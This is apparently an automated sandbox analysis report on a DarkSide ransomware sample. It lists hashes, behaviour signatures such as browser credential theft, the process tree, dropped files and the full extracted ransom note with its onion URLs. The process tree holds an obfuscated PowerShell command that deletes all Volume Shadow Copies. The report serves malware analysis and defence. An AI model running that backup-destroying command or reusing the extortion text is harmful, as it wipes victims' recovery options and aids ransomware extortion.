Resubmissions

28-07-2024 16:38

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07-07-2024 14:07

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07-07-2024 14:07

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13-09-2022 17:54

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Analysis

  • max time kernel
    29s
  • max time network
    37s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    28-07-2024 16:38

General

  • Target

    RansomwareSamples/DarkSide_18_11_2020_17KB.exe

  • Size

    17KB

  • MD5

    f87a2e1c3d148a67eaeb696b1ab69133

  • SHA1

    d1dfe82775c1d698dd7861d6dfa1352a74551d35

  • SHA256

    9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

  • SHA512

    e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3

  • SSDEEP

    384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb

Malware Config

Extracted

Path

C:\Users\README.e528f7ef.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Renames multiple (143) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe
    "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:580
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    39ca3a64d512eb6223252000fce5e706

    SHA1

    b6a218024c140101e0f25026795107e803756cc6

    SHA256

    208eac0667def9a016803ce9dfaf8c948324045a2570073d7a847608e538264c

    SHA512

    68700aa3c74cfc01af8f7e6a019653c2b5ae2ca778e76ef806d1d643ae46c01113cf20abe43e81d205e086a4844594578fd114fc118b711616425c9e95014c31

  • C:\Users\README.e528f7ef.TXT

    Filesize

    2KB

    MD5

    25d0b19a0ec34a39dfa3e177866f01a3

    SHA1

    a3704d1f6499738ccd694bdd6008a850c6b2e453

    SHA256

    f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

    SHA512

    ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

  • memory/580-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/580-7-0x0000000002340000-0x0000000002348000-memory.dmp

    Filesize

    32KB

  • memory/580-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/580-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/580-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/580-13-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/580-6-0x000000001B680000-0x000000001B962000-memory.dmp

    Filesize

    2.9MB

  • memory/580-5-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

    Filesize

    4KB

  • memory/3068-0-0x0000000000C40000-0x0000000000C50000-memory.dmp

    Filesize

    64KB

  • memory/3068-12-0x0000000000C40000-0x0000000000C50000-memory.dmp

    Filesize

    64KB

  • memory/3068-23-0x0000000000C40000-0x0000000000C50000-memory.dmp

    Filesize

    64KB

  • memory/3068-211-0x0000000000C40000-0x0000000000C50000-memory.dmp

    Filesize

    64KB